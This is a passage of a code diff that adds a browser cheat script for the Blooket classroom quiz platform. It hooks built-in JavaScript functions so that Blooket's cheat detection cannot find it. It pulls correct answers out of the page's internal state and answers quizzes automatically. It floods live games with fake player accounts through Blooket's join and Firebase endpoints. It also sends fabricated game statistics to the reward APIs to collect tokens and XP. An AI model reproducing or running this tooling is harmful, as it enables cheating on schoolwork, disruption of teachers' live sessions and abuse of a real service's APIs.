"bG1mYW8=", "#aXQncyBjYXQgYW5kIG1vdXNlIGF0IHRoaXMgcG9pbnQ"].includes(arguments[0])) + return []; + return iframe.contentDocument.querySelectorAll.apply(document, arguments); + }, + querySelector: iframe.contentDocument.querySelector.bind(document), + includes: function () { + if (["Cheats", "Global", "Global Cheats", "Discord - oneminesraft2", "Auto Answer (Toggle)", "Auto Sell Dupes On Open", "Spam Buy Blooks", "Food Game", "Change Blook Ingame", "Get Daily Rewards", "Remove Name Limit", "Simulate Unlock", "Cheat ESP", "Gold Quest Cheats", "Cafe Cheats", "Crypto Hack Cheats", "Deceptive Dinos Cheats", "Tower Defense Cheats", "Tower Defense2 Cheats", "Factory Cheats", "Fishing Frenzy Cheats", "Flappy Blook Cheats", "Tower of Doom Cheats", "Crazy Kingdom Cheats", "Racing Cheats", "Battle Royale Cheats", "Blook Rush Cheats", "Monster Brawl Cheats", "Santa's Workshop Cheats"].includes(arguments[0])) + return false; + return iframe.contentWindow.String.prototype.call(this, arguments); + }, + fetch: iframe.contentWindow.fetch.bind(window), + btoa: iframe.contentWindow.btoa.bind(window), + getItem: iframe.contentWindow.localStorage.getItem.bind(window.localStorage) + }, funcNames = Object.keys(funcs); + Function.prototype.call = function () { + if (funcNames.includes(this.name)) return call.apply(funcs[this.name], arguments); + return call.apply(this, arguments) + } + } + + let { webpack } = webpackJsonp.push([[], { ['1234']: (_, a, b) => { a.webpack = b }, }, [['1234']]]); + const cache = Object.values(webpack.c); + const React = cache.find(x => x.exports.createElement).exports; + const { createElement, useState, useCallback, useRef, useEffect } = React; + const ReactDOM = cache.find(x => x.exports.findDOMNode).exports; + const { Textfit } = cache.find(x => x.exports.Textfit).exports; + const Tooltip = cache.find(x => x.exports.a?.displayName == "ReactTooltip").exports.a; + let settings = { + data: null + }; + let styles = { css: `#bigButton:hover,.scriptButton:hover{transition:.2s;filter:brightness(1.1)}#background,#gui{height:100%;width:100%;overflow:hidden}#background,#backgroundImage{position:absolute;visibility:visible}#controls,#credits{padding-bottom:8px;background:var(--infoColor);box-shadow:rgba(0,0,0,.2) 0 -8px inset,rgba(0,0,0,.15) 0 0 4px;top:0}#cheatList,select{text-align:center}#cheatList,#controls,#guiWrapper div,.cheatButton{user-select:none}#cheatList,.cheatButton,.scriptButton{box-sizing:border-box}#contentWrapper,.alertList{-ms-overflow-style:none;scrollbar-width:none}#cheats,#gui,.cheatButton,.scriptButton{position:relative}#guiWrapper{position:fixed;height:80%;width:80%;max-height:600px;max-width:1000px;z-index:999;display:block}.alertList::-webkit-scrollbar{display:none}#contentWrapper::-webkit-scrollbar{display:none}.cheatButton{display:flex;flex-direction:row;align-items:center;min-height:40px;width:190px;margin:4px 0;padding-left:15px;cursor:pointer;text-decoration:none;border-top-right-radius:5px;border-bottom-right-radius:5px;background-color:transparent;color:var(--textColor);transition:.2s linear;font-size:20px;font-weight:400;font-family:Nunito;text-decoration-thickness:auto}#bigButton,.scriptButton{transition:.5s;display:flex;cursor:pointer}.cheatInput,.scriptButton,select{font-family:Nunito,sans-serif;font-weight:400}.cheatButton>div{height:40px;width:135px;display:flex;justify-content:flex-start;align-items:center}.cheatButton:hover{background-color:var(--textColor);color:var(--defaultButton)}#controls,#credits,.cheatInput,.scriptButton,select{color:var(--textColor)}.cheatInput,select{min-width:200px;padding:5px 0;font-size:16px;background-color:var(--inputColor);box-shadow:inset 0 6px rgb(0 0 0 / 20%);margin:3px}#bigButton{font-size:26px;padding:5px 20px 10px;margin:20px auto 10px;color:#fff;justify-content:center;align-items:center;text-decoration:none;border-radius:5px;text-shadow:2px 2px rgb(0 0 0 / 20%);box-shadow:inset 0 -5px #0005;background-color:#0bc2cf}#bigButton:hover{padding-bottom:13px;margin-top:17px;box-shadow:inset 0 -8px #0005}#bigButton:active{padding-bottom:5px;margin-top:25px;box-shadow:inset 0 0 #0005;transition:50ms}#cheatList::-webkit-scrollbar{width:10px}#cheatList::-webkit-scrollbar-track{background:var(--cheatList)}#cheatList::-webkit-scrollbar-thumb{background:var(--cheatList);box-shadow:inset -10px 0 rgb(0 0 0 / 20%)}#cheatList::-webkit-scrollbar-thumb:hover{background:var(--cheatList);box-shadow:inset -10px 0 rgb(0 0 0 / 30%)}.cheatInput{max-width:200px;border:none;border-radius:7px;caret-color:var(--textColor)}.cheatInput::placeholder{color:var(--textColor)}.cheatInput:focus,select:focus{outline:0}.cheatInput::-webkit-inner-spin-button,.cheatInput::-webkit-outer-spin-button{-webkit-appearance:none;margin:0}.cheatInput[type=number]{-moz-appearance:textfield}select{border:none;border-radius:7px}.scriptButton{align-items:center;flex-direction:column;justify-content:center;margin:10px;padding:5px 5px 11px;width:250px;border-radius:7px;box-shadow:inset 0 -6px rgb(0 0 0 / 20%)}.scriptButton:hover{margin-top:7px;padding-bottom:14px;box-shadow:inset 0 -9px rgb(0 0 0 / 20%)}.scriptButton:active{transition:50ms;margin-top:16px;padding-bottom:5px;box-shadow:inset 0 0 rgb(0 0 0 / 20%)}#gui{outline:rgb(58,58,58) solid 3px;border-radius:15px}#background{display:block;top:0;left:0;background:var(--backgroundColor)}#backgroundImage{background-image:url(https://ac.blooket.com/dashboard/65a43218fd1cabe52bdf1cda34613e9e.png);display:block;height:200%;width:200%;top:50%;left:50%;background-position:-100px -100px;background-size:550px;transform:translate(-50%,-50%) rotate(15deg);appearance:none;opacity:.175}#controls{display:flex;flex-direction:column;align-items:flex-start;justify-content:center;padding-inline:15px;position:absolute;left:220px;visibility:visible;z-index:5;height:52px;width:max-content;border-bottom-right-radius:10px;font-family:Nunito,sans-serif;font-weight:700}#controlButtons,#credits{align-items:center;right:0;visibility:visible;font-family:Nunito,sans-serif;font-weight:700;user-select:text;z-index:5;display:flex;position:absolute}#credits{justify-content:center;height:47px;width:210px;border-bottom-left-radius:10px}#controlButtons{justify-content:center;bottom:0;height:55px;width:165px;border-left:3px solid #000;border-top:3px solid #000;border-top-left-radius:10px;color:#fff;overflow:hidden;pointer-events:all}#controlButtons>*{height:55px;width:55px;font-family:Nunito;color:#fff;border:none;font-size:2rem;display:flex;align-items:center;justify-content:center;cursor:pointer}#cheatList,#cheats,.cheatName{color:var(--textColor)}#cheats,#contentWrapper,.alertContainer,.headerText{border-radius:7px}#cheatList{overflow-y:scroll;overflow-x:hidden;background:var(--cheatList);box-shadow:rgba(0,0,0,.2) -10px 0 inset;z-index:5;width:220px;position:absolute;top:0;left:0;height:100%;font-family:"Titan One";font-size:40px;padding-block:20px;display:flex;flex-direction:column}#contentWrapper{position:absolute;left:220px;top:70px;overflow-y:scroll;width:calc(100% - 220px);height:calc(100% - 70px)}#cheats,.headerText>div{align-items:center;box-sizing:border-box;display:flex;width:100%;font-weight:400}#content{position:absolute;inset:27px 50px 50px}#cheats{flex-flow:row wrap;justify-content:space-evenly;padding:20px 5px;font-family:Nunito,sans-serif;background:var(--contentBackground);box-shadow:rgba(0,0,0,.2) 0 -6px inset}.headerText{box-sizing:border-box;display:block;height:45px;left:-10px;padding:4px 4px 8px;position:absolute;top:-28px;background-color:#ef7426;box-shadow:rgba(0,0,0,.2) 0 4px,rgba(0,0,0,.2) 0 -4px inset}.headerText>div{height:100%;justify-content:center;padding:0 15px;font-family:"Titan One",sans-serif;font-size:26px;text-shadow:#646464 -1px -1px 0,#646464 1px -1px 0,#646464 -1px 1px 0,#646464 2px 2px 0;color:#fff;background:linear-gradient(#fcd843,#fcd843 50%,#feb31a 50.01%,#feb31a);border-radius:5px}.alertContainer{margin:15px 15px 5px;background-color:rgb(0 0 0 / 50%);width:95%;height:370px;display:block;align-items:center;justify-content:center}`, keys: {} }; + for (let key of [...styles.css.matchAll(/(#|\.)([a-zA-Z]+?)(,|\{|:)/g)].reduce((a, [_, __, b]) => (a.includes(b) ? a : a.concat(b)), [])) { + styles.keys[key] = Array(10).fill().reduce((a) => a + String.fromCharCode(Math.floor(Math.random() * 25) + 97), ""); + styles.css = styles.css.replace(new RegExp(`(#|\\.)(${key})(,|\\{|:|>|\\[)`, "g"), (_, __, m) => m == key ? _.replace(key, styles.keys[key]) : _); + } + const Cheats = { + global: { + name: "Global", + img: "https://media.blooket.com/image/upload/v1661496291/Media/uiTest/Games_Played_2.svg", + cheats: [ + { + name: "Auto Answer (Toggle)", + description: "Toggles auto answer on", + type: "toggle", + enabled: false, + data: null, + run: function () { + if (!this.enabled) { + this.enabled = true; + this.data = setInterval(() => { + const { stateNode: { state: { question, stage, feedback }, props: { client: { question: pquestion } } } } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + const q = (question || pquestion); + try { + if (q.qType != "typing") if (stage !== "feedback" && !feedback) [...document.querySelectorAll(`[class*="answerContainer"]`)][q.answers.map((x, i) => q.correctAnswers.includes(x) ? i : null).filter(x => x != null)[0]]?.click?.(); + else document.querySelector('[class*="feedback"]')?.firstChild?.click?.(); + else Object.values(document.querySelector("[class*='typingAnswerWrapper']"))[1].children._owner.stateNode.sendAnswer(q.answers[0]) + } catch { } + }, 50); + } else { + this.enabled = false; + clearInterval(this.data); + this.data = null; + } + } + }, + { + name: "Highlight Answers (Toggle)", + description: "Toggles highlight answers on", + type: "toggle", + enabled: false, + data: null, + run: function () { + if (!this.enabled) { + this.enabled = true; + this.data = setInterval(() => { + const { stateNode: { state, props } } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + [...document.querySelectorAll(`[class*="answerContainer"]`)].forEach((answer, i) => { + if ((state.question || props.client.question).correctAnswers.includes((state.question || props.client.question).answers[i])) answer.style.backgroundColor = "rgb(0, 207, 119)"; + else answer.style.backgroundColor = "rgb(189, 15, 38)"; + }); + }, 50); + } else { + this.enabled = false; + clearInterval(this.data); + this.data = null; + } + } + }, + { + name: "Auto Answer", + description: "Click the correct answer for you", + run: function () { + const { stateNode: { state: { question, stage, feedback }, props: { client: { question: pquestion } } } } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + try { + if (question.qType != "typing") if (stage !== "feedback" && !feedback) [...document.querySelectorAll(`[class*="answerContainer"]`)][(question || pquestion).answers.map((x, i) => (question || pquestion).correctAnswers.includes(x) ? i : null).filter(x => x != null)[0]]?.click?.(); + else document.querySelector('[class*="feedback"]')?.firstChild?.click?.(); + else Object.values(document.querySelector("[class*='typingAnswerWrapper']"))[1].children._owner.stateNode.sendAnswer(question.answers[0]) + } catch { } + } + }, + { + name: "Spam Buy Blooks", + description: "Opens a box an amount of times", + inputs: [ + { + name: "Box", + type: "options", + options: () => { + return new Promise(r => { + r(Object.keys(Object.values(webpackJsonp.push([[], { ['1234']: (_, a, b) => { a.webpack = b }, }, [['1234']]]).webpack.c).find(x => !isNaN(x?.exports?.a?.Space))?.exports?.a || {})); + }); + } + }, + { + name: "Amount", + type: "number" + } + ], + run: function (box, amountToOpen) { + let i = document.createElement('iframe'); + document.body.append(i); + window.alert = i.contentWindow.alert.bind(window); + window.prompt = i.contentWindow.prompt.bind(window); + window.confirm = i.contentWindow.confirm.bind(window); + i.remove(); + let { webpack } = webpackJsonp.push([[], { ['1234']: (_, a, b) => { a.webpack = b }, }, [['1234']]]), + axios = Object.values(webpack.c).find((x) => x.exports?.a?.get).exports.a, + { purchaseBlookBox } = Object.values(webpack.c).find(x => x.exports.a?.purchaseBlookBox).exports.a; + box = box.split(' ').map(x => x.charAt(0).toUpperCase() + x.slice(1).toLowerCase()).join(' '); + + axios.get("https://dashboard.blooket.com/api/users").then(async ({ data: { name, tokens } }) => { + let prices = Object.values(webpack.c).find(x => !isNaN(x?.exports?.a?.Space)).exports.a || { Medieval: 20, Breakfast: 20, Wonderland: 20, Blizzard: 25, Space: 20, Bot: 20, Aquatic: 20, Safari: 20, Dino: 25, "Ice Monster": 25, Outback: 25 } + let amount = Math.min(Math.floor(tokens / prices[box]), amountToOpen); + if (amount == 0) { + if (amountToOpen > 0) alert("You do not have enough tokens!"); + return; + }; + + let alertBlooks = confirm("Would you like to alert blooks upon unlocking?"); + let blooks = {}; + let now = Date.now(); + let error = false; + + for (let i = 0; i < amount; i++) { + await purchaseBlookBox({ boxName: box }).then(({ isNewToUser, tokens, unlockedBlook }) => { + blooks[unlockedBlook] ||= 0; + blooks[unlockedBlook]++; + + let before = Date.now(); + + if (alertBlooks) alert(`${unlockedBlook} (${i + 1}/${amount}) ${isNewToUser ? "NEW! " : ''}${tokens} tokens left`); + + now += Date.now() - before; + }).catch(e => error = true); + if (error) break; + }; + alert(`(${Date.now() - now}ms) Results:\n${Object.entries(blooks).map(([blook, amount]) => ` ${blook} ${amount}`).join(`\n`)}`); + }).catch(() => alert('There was an error user data!')); + } + }, + { + name: "Flood Game", + description: "Floods a game with a number of fake accounts", + inputs: [ + { + name: "Game ID", + type: "string" + }, + { + name: "Name", + type: "string" + }, + { + name: "Amount", + type: "number" + }, + { + name: "Blook", + type: "options", + options: async () => { + let { webpack } = webpackJsonp.push([[], { ['1234']: (_, a, b) => { a.webpack = b }, }, [['1234']]]); + return ["Random"].concat(Object.keys(Object.values(webpack.c).find(x => x.exports.a?.Black)?.exports?.a || [])); + } + }, + { + name: "Banner", + type: "options", + options: Object.entries({ Starter: "starter", Chalkboard: "chalkboard", Slime: "slime", Bookshelf: "bookshelf", "Toaster Pastry": "toasterPastry", Theater: "theater", Sushi: "sushi", Workbench: "workbench", Spooky: "spooky", Spiders: "spiders", Coffin: "coffin", Pumpkins: "pumpkins", "Falling Blocks": "fallingBlocks", Racetrack: "racetrack", Harvest: "harvest", Leaves: "leaves", "Fall Picnic": "fallPicnic", "Winter Drive": "winterDrive", "Winter Train": "winterTrain", Ice: "ice", Gifts: "gifts", "Christmas Tree": "christmasTree", "Soccer Field": "soccerField", "Winter Landscape": "winterLandscape", "Football Field": "footballField", "Outer Space": "outerSpace", "Hockey Rink": "hockeyRink", "Music Class": "musicClass", "Ice Cream Sandwich": "iceCreamSandwich", "Science Class": "scienceClass", "Fish Tank": "fishTank", "Art Class": "artClass", Clockwork: "clockwork", "Love Letter": "loveLetter", Farm: "farm", Chocolate: "chocolate", "Tech Chip": "techChip", Fire: "fire", "Orange Ice Pop": "orangeIcePop" }).map(([name, value]) => ({ name, value })) + } + ], + run: async function (id, name, amount, b, bg) { + let cache = Object.values(webpackJsonp.push([[], { ['']: (_, a, b) => { a.cache = b.c }, }, [['']]]).cache); + const axios = cache.find((x) => x.exports?.a?.get).exports.a; + const firebase = cache.find(x => x.exports?.a?.initializeApp).exports.a; + const blooks = Object.keys(Object.values(cache).find(x => x.exports.a?.Black).exports.a); + + for (let i = 1; i <= amount; i++) { + (async () => { + let ign = `${name}${String.fromCharCode(96 + i)}`; + const { data: { success, fbToken, fbShardURL } } = await axios.put("https://fb.blooket.com/c/firebase/join", { id, name: ign }); + if (!success) return; + const liveApp = firebase.initializeApp({ + apiKey: "AIzaSyCA-cTOnX19f6LFnDVVsHXya3k6ByP_MnU", + authDomain: "blooket-2020.firebaseapp.com", + projectId: "blooket-2020", + storageBucket: "blooket-2020.appspot.com", + messagingSenderId: "741533559105", + appId: "1:741533559105:web:b8cbb10e6123f2913519c0", + measurementId: "G-S3H5NGN10Z", + databaseURL: fbShardURL + }, ign); + const auth = firebase.auth(liveApp); + await auth.setPersistence(firebase.auth.Auth.Persistence.NONE).catch(console.error); + await auth.signInWithCustomToken(fbToken).catch(console.error); + await liveApp.database().ref(`${id}/c/${ign}`).set({ b: b == "Random" ? blooks[Math.floor(Math.random() * blooks.length)] : b, bg }); + liveApp.delete(); + })(); + await new Promise(r => setTimeout(r, 100)); + } + } + }, + { + name: "Change Blook Ingame", + description: "Changes your blook", + inputs: [ + { + name: "Blook", + type: "options", + options: async () => { + let { webpack } = webpackJsonp.push([[], { ['1234']: (_, a, b) => { a.webpack = b }, }, [['1234']]]); + return Object.keys(Object.values(webpack.c).find(x => x.exports.a?.Chick && x.exports.a?.Elephant).exports.a); + } + } + ], + run: function (blook) { + let { props } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode; + props.client.blook = blook; + props.liveGameController.setVal({ path: `c/${props.client.name}/b`, val: blook }); + } + }, + { + name: "Get Daily Rewards", + description: "Gets max daily tokens and xp", + run: function () { + let i = document.createElement('iframe'); + document.body.append(i); + window.alert = i.contentWindow.alert.bind(window); + i.remove(); + if (!location.href.includes("play.blooket.com")) (alert("This cheat only works on play.blooket.com, opening a new tab."), window.open("https://play.blooket.com/")); + else { + const cache = Object.values(webpackJsonp.push([[], { ['']: (_, a, b) => { a.cache = b.c }, }, [['']],]).cache), + axios = cache.find((x) => x.exports?.a?.get).exports.a; + axios.post("https://play.blooket.com/api/playersessions/solo", { + gameMode: "Factory", + questionSetId: ["60101da869e8c70013913b59", "625db660c6842334835cb4c6", "60268f8861bd520016eae038", "611e6c804abdf900668699e3", "60ba5ff6077eb600221b7145", "642467af9b704783215c1f1b", "605bd360e35779001bf57c5e", "6234cc7add097ff1c9cff3bd", "600b1491d42a140004d5215a", "5db75fa3f1fa190017b61c0c", "5fac96fe2ca0da00042b018f", "600b14d8d42a140004d52165", "5f88953cdb209e00046522c7", "600b153ad42a140004d52172", "5fe260e72a505b00040e2a11", "5fe3d085a529560004cd3076", "5f5fc017aee59500041a1456", "608b0a5863c4f2001eed43f4", "5fad491512c8620004918ace", "5fc91a9b4ea2e200046bd49a", "5c5d06a7deebc70017245da7", "5ff767051b68750004a6fd21", "5fdcacc85d465a0004b021b9", "5fb7eea20bd44300045ba495"][Math.floor(Math.random() * 24)] + }).then(async ({ data: { t } }) => { + await axios.post("https://play.blooket.com/api/playersessions/landings", { t }); + const { name, blook: { name: blookUsed } } = await cache.find(x => x.exports.a?.me).exports.a.me({}).catch(() => alert('There was an error getting user data.')); + await axios.put("https://play.blooket.com/api/users/factorystats", { + blookUsed, t, name, + cash: Math.floor(Math.random() * 90000000) + 10000000, + correctAnswers: Math.floor(Math.random() * 500) + 500, + upgrades: Math.floor(Math.random() * 300) + 300, + mode: "Time-Solo", + nameUsed: "You", + place: 1, + playersDefeated: 0, + }); + axios.put("https://play.blooket.com/api/users/add-rewards", { t, name, addedTokens: 500, addedXp: 300 }) + .then(({ data: { dailyReward } }) => alert(`Added max tokens and xp, and got ${dailyReward} daily wheel tokens!`)) + .catch(() => alert('There was an error when adding rewards.')); + }); + } + } + }, + { + name: "Use Any Blook", + description: "Allows you to play as any blook", + run: function () { + const { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + const blooks = webpackJsonp.push([[], { ['1234']: (_, a, b) => { a.webpack = b } }, [['1234']]]).webpack("MDrD").a; + if (location.pathname == "/blooks") stateNode.setState({ blookData: Object.keys(blooks).reduce((a, b) => (a[b] = (stateNode.state.blookData[b] || 1), a), {}), allSets: Object.values(blooks).reduce((a, b) => (a.includes(b.set) ? a : a.concat(b.set)), []) }); + else if (Array.isArray(stateNode.state.unlocks)) stateNode.setState({ unlocks: Object.keys(blooks) }); + else stateNode.setState({ unlocks: blooks }); + } + }, + { + name: "Every Answer Correct", + description: "Sets every answer to be correct", + run: function () { + const { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.freeQuestions = stateNode.questions = stateNode.props.client.questions.map(x => ({ ...x, correctAnswers: x.answers })); + } + }, + { + name: "Highlight Answers", + description: "Colors answers to be red or green highlighting the correct ones", + run: function () { + const { stateNode: { state, props } } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + [...document.querySelectorAll(`[class*="answerContainer"]`)].forEach((answer, i) => { + if ((state.question || props.client.question).correctAnswers.includes((state.question || props.client.question).answers[i])) answer.style.backgroundColor = "rgb(0, 207, 119)"; + else answer.style.backgroundColor = "rgb(189, 15, 38)"; + }); + } + }, + { + name: "Remove Name Limit", + description: "Sets the name limit to 120, which is the actual max name length limit", + run: function () { + let i = document.createElement('iframe'); + document.body.append(i); + window.alert = i.contentWindow.alert.bind(window); + i.remove(); + document.querySelector('input[class*="nameInput"]').maxLength = 120; /* 120 is the actual limit */ + alert("Removed name length limit"); + } + }, + { + name: "Remove Random Name", + description: "Allows you to put a custom name", + run: function () { + Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({ isRandom: false, client: { name: "" } }); + document.querySelector('[class*="nameInput"]')?.focus?.(); + } + }, + { + name: "Sell Cheap Duplicates", + description: "Sells all of your uncommon to epic dupes (not legendaries+)", + run: function () { + let i = document.createElement('iframe'); + document.body.append(i); + window.alert = i.contentWindow.alert.bind(window); + window.confirm = i.contentWindow.confirm.bind(window); + i.remove(); + let { webpack } = webpackJsonp.push([[], { ['1234']: (_, a, b) => { a.webpack = b }, }, [['1234']]]), + axios = Object.values(webpack.c).find((x) => x.exports?.a?.get).exports.a, + { sellBlook } = Object.values(webpack.c).find(x => x.exports.a?.sellBlook).exports.a; + axios.get("https://dashboard.blooket.com/api/users").then(async ({ data: { unlocks } }) => { + let blooks = Object.entries(unlocks).filter(([blook, amount]) => amount > 1 && !["Legendary", "Chroma", "Mystical"].includes(webpackJsonp.push([[], { ['1234']: (_, a, b) => { a.webpack = b } }, [['1234']]]).webpack("MDrD").a[blook].rarity)); + if (confirm(`Are you sure you want to sell your uncommon to epic dupes?`)) { + let now = Date.now(); + for (const [blook, amount] of blooks) await sellBlook({ blook, numToSell: amount - 1 }); + alert(`(${Date.now() - now}ms) Results:\n${blooks.map(([blook, amount]) => ` ${blook} ${amount - 1}`).join(`\n`)}`); + } + }).catch(() => alert('There was an error user data!')); + } + }, + { + name: "Sell Duplicate Blooks", + description: "Sell all duplicate blooks leaving you with 1 each", + run: function () { + let i = document.createElement('iframe'); + document.body.append(i); + window.alert = i.contentWindow.alert.bind(window); + window.confirm = i.contentWindow.confirm.bind(window); + i.remove(); + let { webpack } = webpackJsonp.push([[], { ['1234']: (_, a, b) => { a.webpack = b }, }, [['1234']]]), + axios = Object.values(webpack.c).find((x) => x.exports?.a?.get).exports.a, + { sellBlook } = Object.values(webpack.c).find(x => x.exports.a?.sellBlook).exports.a; + axios.get("https://dashboard.blooket.com/api/users").then(async ({ data: { unlocks } }) => { + let blooks = Object.entries(unlocks).filter(x => x[1] > 1); + if (confirm(`Are you sure you want to sell your dupes?`)) { + let now = Date.now(); + for (const [blook, amount] of blooks) await sellBlook({ blook, numToSell: amount - 1 }); + alert(`(${Date.now() - now}ms) Results:\n${blooks.map(([blook, amount]) => ` ${blook} ${amount - 1}`).join(`\n`)}`); + } + }).catch((e) => (alert('There was an error user data!'), console.info(e))); + } + }, + { + name: "Simulate Pack", + description: "Simulate opening a pack", + inputs: [{ + name: "Pack", + type: "options", + options: async () => { + return Array.from(document.querySelectorAll('[class*="packShadow"]')).map(x => x.alt); + } + }], + run: (function () { + try { + let { webpack } = webpackJsonp.push([[], { ['1234']: (_, a, b) => { a.webpack = b }, }, [['1234']]]); + let values = Object.values(webpack.c), + blooks = values.find(x => x.exports?.a?.Chick?.set).exports.a, + packs = values.find(x => x.exports.a?.Breakfast).exports.a, + allBlooks = Object.entries(blooks).reduce((a, [b, c]) => (packs[c.realSet || c.set] && (a[b] = c), a), {}); + let phaser = Object.values(webpack.c).find(x => x.exports?.Class).exports; + let scene = {}; + class Particles extends phaser.Scene { + constructor(rarity) { + super(); + this.rarity = rarity.toLowerCase(); + } + preload() { + switch (this.rarity) { + case "uncommon": + this.load.svg("uncommon-1", "https://media.blooket.com/image/upload/v1658567787/Media/market/particles/square_green.svg", { width: 25, height: 25 }); + this.load.svg("uncommon-2", "https://media.blooket.com/image/upload/v1658567787/Media/market/particles/square_light_green.svg", { width: 25, height: 25 }); + this.load.svg("uncommon-3", "https://media.blooket.com/image/upload/v1658567785/Media/market/particles/circle_dark_green.svg", { width: 25, height: 25 }); + this.load.svg("uncommon-4", "https://media.blooket.com/image/upload/v1658567785/Media/market/particles/serpentine_dark_green.svg", { width: 30, height: 30 }); + this.load.svg("uncommon-5", "https://media.blooket.com/image/upload/v1658567785/Media/market/particles/triangle_light_green.svg", { width: 30, height: 30 }); + this.load.svg("uncommon-6", "https://media.blooket.com/image/upload/v1658567785/Media/market/particles/serpentine_light_green.svg", { width: 30, height: 30 }); + this.load.svg("uncommon-7", "https://media.blooket.com/image/upload/v1658567785/Media/market/particles/triangle_green.svg", { width: 30, height: 30 }); + break; + case "rare": + this.load.svg("rare-1", "https://media.blooket.com/image/upload/v1658567765/Media/market/particles/square_light_blue.svg", { width: 25, height: 25 }); + this.load.svg("rare-2", "https://media.blooket.com/image/upload/v1658567765/Media/market/particles/square_dark_blue.svg", { width: 25, height: 25 }); + this.load.svg("rare-3", "https://media.blooket.com/image/upload/v1658567763/Media/market/particles/triangle_blue.svg", { width: 30, height: 30 }); + this.load.svg("rare-4", "https://media.blooket.com/image/upload/v1658567763/Media/market/particles/serpentine_blue.svg", { width: 30, height: 30 }); + this.load.svg("rare-5", "https://media.blooket.com/image/upload/v1658567763/Media/market/particles/triangle_light_blue.svg", { width: 30, height: 30 }); + this.load.svg("rare-6", "https://media.blooket.com/image/upload/v1658567763/Media/market/particles/serpentine_light_blue.svg", { width: 30, height: 30 }); + this.load.svg("rare-7", "https://media.blooket.com/image/upload/v1658567763/Media/market/particles/circle_dark_blue.svg", { width: 25, height: 25 }); + break; + case "epic": + this.load.svg("epic-1", "https://media.blooket.com/image/upload/v1658790239/Media/market/particles/red.svg", { width: 25, height: 25 }); + this.load.svg("epic-2", "https://media.blooket.com/image/upload/v1658790237/Media/market/particles/light_red.svg", { width: 25, height: 25 }); + this.load.svg("epic-3", "https://media.blooket.com/image/upload/v1658790239/Media/market/particles/serpentine_red.svg", { width: 30, height: 30 }); + this.load.svg("epic-4", "https://media.blooket.com/image/upload/v1658790239/Media/market/particles/serpentine_dark_red.svg", { width: 30, height: 30 }); + this.load.svg("epic-5", "https://media.blooket.com/image/upload/v1658790237/Media/market/particles/triangle_red.svg", { width: 30, height: 30 }); + this.load.svg("epic-6", "https://media.blooket.com/image/upload/v1658790237/Media/market/particles/triangle_light_red.svg", { width: 30, height: 30 }); + this.load.svg("epic-7", "https://media.blooket.com/image/upload/v1658790237/Media/market/particles/circle_dark_red.svg", { width: 25, height: 25 }); + break; + case "legendary": + this.load.svg("legendary-1", "https://media.blooket.com/image/upload/v1658567740/Media/market/particles/square_orange.svg", { width: 25, height: 25 }); + this.load.svg("legendary-2", "https://media.blooket.com/image/upload/v1658567740/Media/market/particles/square_light_orange.svg", { width: 25, height: 25 }); + this.load.svg("legendary-3", "https://media.blooket.com/image/upload/v1658567738/Media/market/particles/circle_orange.svg", { width: 25, height: 25 }); + this.load.svg("legendary-4", "https://media.blooket.com/image/upload/v1658567738/Media/market/particles/serpentine_orange.svg", { width: 30, height: 30 }); + this.load.svg("legendary-5", "https://media.blooket.com/image/upload/v1658567738/Media/market/particles/serpentine_light_orange.svg", { width: 30, height: 30 }); + this.load.svg("legendary-6", "https://media.blooket.com/image/upload/v1658567738/Media/market/particles/circle_dark_orange.svg", { width: 25, height: 25 }); + this.load.svg("legendary-7", "https://media.blooket.com/image/upload/v1658567738/Media/market/particles/triangle_dark_orange.svg", { width: 30, height: 30 }); + break; + case "chroma": + this.load.svg("chroma-1", "https://media.blooket.com/image/upload/v1658790246/Media/market/particles/square_turquoise.svg", { width: 25, height: 25 }); + this.load.svg("chroma-2", "https://media.blooket.com/image/upload/v1658790246/Media/market/particles/square_light_turquoise.svg", { width: 25, height: 25 }); + this.load.svg("chroma-3", "https://media.blooket.com/image/upload/v1658790244/Media/market/particles/serpentine_dark_turquoise.svg", { width: 30, height: 30 }); + this.load.svg("chroma-4", "https://media.blooket.com/image/upload/v1658790244/Media/market/particles/serpentine_turquoise.svg", { width: 30, height: 30 }); + this.load.svg("chroma-5", "https://media.blooket.com/image/upload/v1658790244/Media/market/particles/triangle_turquoise.svg", { width: 30, height: 30 }); + this.load.svg("chroma-6", "https://media.blooket.com/image/upload/v1658790244/Media/market/particles/triangle_light_turquoise.svg", { width: 30, height: 30 }); + this.load.svg("chroma-7", "https://media.blooket.com/image/upload/v1658790244/Media/market/particles/circle_dark_turquoise.svg", { width: 25, height: 25 }); + } + } + create() { + scene.scene = this; + scene.rarity = ""; + scene.particles = this.physics.add.group({ + classType: new phaser.Class({ + Extends: phaser.GameObjects.Image, + initialize: function () { + phaser.GameObjects.Image.call(this, scene.scene, 0, 0, "uncommon-1"); + this.setDepth(3); + this.lifespan = 0; + }, + spawn: function (x, y, scale, velAngle, velSpeed, gravity, angle, lifespan, texture) { + this.setTexture(texture); + this.setActive(true); + this.setVisible(true); + this.setPosition(x, y); + this.setScale(scale); + this.targets = []; + scene.scene.physics.velocityFromAngle(velAngle, velSpeed, this.body.velocity); + this.body.setGravityY(gravity); + this.body.setAngularVelocity(angle); + this.lifespan = lifespan; + }, + update: function (t, s) { + this.lifespan -= s; + if (this.lifespan > 0) return; + this.setActive(!1); + this.setVisible(!1); + } + }), + runChildUpdate: !0 + }); + this.nextParticle = 0; + this.numExplosions = 0; + this.game.events.on("start-particles", (t) => { + scene.rarity = t; + this.numExplosions = "Uncommon" === t ? 75 : "Rare" === t ? 100 : -1; + }); + } + update(e, t) { + const I = webpack("74sb"); + let Z = function (e) { + switch (e) { + case "center": { + var t = Object(I.l)(-115, -65); + return { + x: scene.scene.cameras.main.worldView.width / 2, + y: scene.scene.cameras.main.worldView.height / 2, + scale: Object(I.l)(.7, 1), + angle: t, + velocity: Object(I.l)(600, 750), + gravity: 700, + angVelocity: (t > -90 ? 1 : -1) * Object(I.l)(125, 175), + lifespan: 2500 + } + } + case "right-bottom": return { + x: scene.scene.cameras.main.worldView.width, + y: scene.scene.cameras.main.worldView.height, + scale: Object(I.l)(.7, 1), + angle: Object(I.l)(-160, -110), + 